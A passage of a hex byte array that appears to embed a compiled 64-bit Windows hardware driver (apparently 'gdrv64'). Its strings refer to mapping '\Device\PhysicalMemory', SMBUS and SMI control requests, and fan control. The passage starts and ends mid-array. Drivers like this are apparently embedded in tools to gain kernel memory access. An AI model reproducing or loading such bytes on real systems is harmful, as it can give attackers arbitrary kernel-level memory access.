0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, - 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, - 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, - 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, - 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, - 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, - 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, - 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, - 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, - 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, - 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, - 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, - 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, - 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, - 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, - 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, - 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, - 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, - 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, - 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, - 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, - 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, - 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, - 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, - 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, - 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, - 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, - 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, - 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, - 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, - 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, - 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, - 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, - 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, - 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, - 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, - 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, - 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, - 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, - 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, - 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, - 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, - 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, - 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, - 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, - 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, - 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, - 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, - 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, - 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, - 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, - 0x66, 0x67, 